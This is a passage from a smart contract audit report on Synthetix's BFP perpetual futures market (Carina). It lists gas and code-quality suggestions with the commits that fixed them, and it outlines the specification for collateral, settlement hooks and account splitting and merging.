<h3 id="client-response-6">Client response</h3>
<p>The implementation was updated to delete the order before executing the hook in <a href="https://github.com/Synthetixio/synthetix-v3/commit/e7932e96d8153db0716f1e5dd6df78c1a1ec711e">e7932e9</a> as per the recommendation.</p>
<h1 id="code-quality-improvement-suggestions">Code quality improvement suggestions</h1>
<p>Code improvement suggestions without security implications are listed below.</p>
<table class="codequality">
<thead>
<tr>
<th>#</th>
<th>Location</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/modules/LiquidationModule.sol#L362-L368">LiquidationModule.sol#L362-L368</a></td>
<td>Duplicate checks for existing positions were performed in the <code>LiquidationModule.liquidateMarginOnly()</code> function. The first check is in the function itself and the second check is done in the <code>LiquidationModule.isMarginLiquidatable()</code> function when it is called, resulting in redundant storage access. This check could be performed once in the <code>LiquidationModule.isMarginLiquidatable()</code> function, producing gas savings for users.</td>
</tr>
<tr>
<td>2</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/modules/LiquidationModule.sol#L232">LiquidationModule.sol#L232</a>, <a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/storage/Position.sol#L331">Position.sol#L331</a></td>
<td>When flagging and liquidating positions, the check on whether the account being liquidated has been flagged could be performed earlier as a short circuiting mechanism to save on gas. In the case of <code>LiquidationModule.flagPosition()</code>, this could be done by moving the check in that function to the start of the function. A similar check would need to be added to <code>LiquidationModule.liquidatePosition()</code> as currently, it relies on <code>Position.validateLiquidation()</code> to enforce this check.</td>
</tr>
<tr>
<td>3</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/storage/Position.sol#L292">Position.sol#L292</a></td>
<td>The call to <code>Position.validateMaxOi()</code> in <code>Position.validateTrade()</code> could be moved into the if-statement’s execution block just before the call, as the new position would only approach the maximum open interest cap if the position is changing side or increasing in size on one side. This would save gas when users are only decreasing their position sizes.</td>
</tr>
<tr>
<td>4</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/modules/OrderModule.sol#L303">OrderModule.sol#L303</a></td>
<td><code>Margin.getMarginUsd()</code> is called in <code>OrderModule.settleOrder()</code> after calling <code>Position.validateTrade()</code> as <code>validateTrade()</code> also calls <code>getMarginUsd()</code>. A potential gas optimisation would be to make <code>validateTrade()</code> also return the result of <code>getMarginUsd()</code>, removing the additional <code>getMarginUsd()</code> call.</td>
</tr>
<tr>
<td>5</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/379119f85bdd7bcbc1f2413e8d3223e79ff9554d/markets/bfp-market/contracts/storage/Position.sol#L439">Position.sol#L439</a></td>
<td><code>Position.getLiquidationMarginUsd()</code> should return <code>(0, 0, 0)</code> for position sizes equal to zero to avoid reporting initial and maintenance margin requirements for empty positions. Although functions that call <code>getLiquidationMarginUsd()</code> have their own circuit breakers for empty positions, applying the check in <code>getLiquidationMarginUsd()</code> ensures that the function does not erroneously introduce edge cases when features are added or updated in the future.</td>
</tr>
<tr>
<td>6</td>
<td>General</td>
<td>A <a href="https://gist.github.com/iosiro-security/a328010bc4139276dd560811fdbd70b9">git patch file</a> was generated using the bfp-market from the synthetix-v3 monorepo containing corrections for all typos identified during the audit.</td>
</tr>
</tbody>
</table>
<ol>
<li>The extra check was removed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/12f192b3d87848c727a8e2989de6724098467aee">12f192b</a>.</li>
<li>The checks were moved to earlier points in the function call in <a href="https://github.com/Synthetixio/synthetix-v3/commit/12f192b3d87848c727a8e2989de6724098467aee">12f192b</a>.</li>
<li>The check was moved as per the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/commit/01f17dd556988b9685df7d4f42c103d6f0699fb2">01f17dd</a>.</li>
<li>The extra call to <code>getMarginUsd()</code> in <code>settleOrder()</code> was removed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/12f192b3d87848c727a8e2989de6724098467aee">12f192b</a>.</li>
<li>The short circuit checks were added in <a href="https://github.com/Synthetixio/synthetix-v3/commit/2b557752e5d818718bcc595925c612231f61044a">2b55775</a>.</li>
<li>The typos were corrected in <a href="https://github.com/Synthetixio/synthetix-v3/commit/b4694afe0b560be243bab3ac9998f08ee7010db3">b4694af</a>.</li>
</ol>
<h1 id="specification">Specification</h1>
<p>The following section outlines the intended functionality of the system at a high level. This specification is based on the implementation in the codebase. Any perceived points of conflict should be highlighted with the auditing team to determine the source of the discrepancy.</p>
<h2 id="overview-1">Overview</h2>
<p>The BFP market is based on the existing Perpetual Futures market deployed to Base, referred to as Perps V3, but includes alternative collateral management logic and other features that make deployment to Ethereum mainnet feasible. The market is intended to support delta-neutral stablecoins, such as Ethena’s USDe, and to leverage existing liquidity on mainnet.</p>
<h2 id="account-collateral-and-debt">Account collateral and debt</h2>
<p>Carina differs from Perps V3 in that collateral is deposited per account and market, as opposed to Perps V3’s cross-margin functionality. Carina also supports multiple collateral types; however, an account’s debt can only be settled using sUSD. The market will therefore deduct sUSD from an account when settling outstanding debt. An account could become subject to a margin liquidation in the event its debt surpasses the value of its collateral. When liquidated, an account's debt is written off and its collateral is absorbed by the market. Liquidations and general debt settlement of accounts are permissionless and can be performed by any address.</p>
<h2 id="settlement-hooks">Settlement hooks</h2>
<p>During order commitment, accounts may specify settlement hooks to execute when the order is settled. These hooks are addresses for contracts that implement the <code>onSettle(uint128 accountId, uint128 marketId, uint256 oraclePrice)</code> interface, and are limited to order hooks whitelisted by Synthetix. The settlement hooks are intended to be used by the delta-neutral stable coin issuers to only mint new stablecoins to an account once its collateral has been integrated with the stablecoin’s hedged short position.</p>
<h2 id="account-splitting-and-merging">Account splitting and merging</h2>
<p>An account’s position in a specific market can be split or merged with another account in the same market. While splitting an account can only be done by the account owner, merging accounts is only possible from settlement hooks. Merging and splitting of accounts enable the delta-neutral stablecoins to have a single short position that can be added to or reduced when accounts deposit or withdraw collateral.</p>
<p>When splitting an account, the caller specifies the proportion of the account to move into the new account. The account's position, collateral, and debt are proportionally transferred. Due to minimum position requirements, the market ensures that both resulting positions are not liquidatable.</p>
</article>
</main>
</div>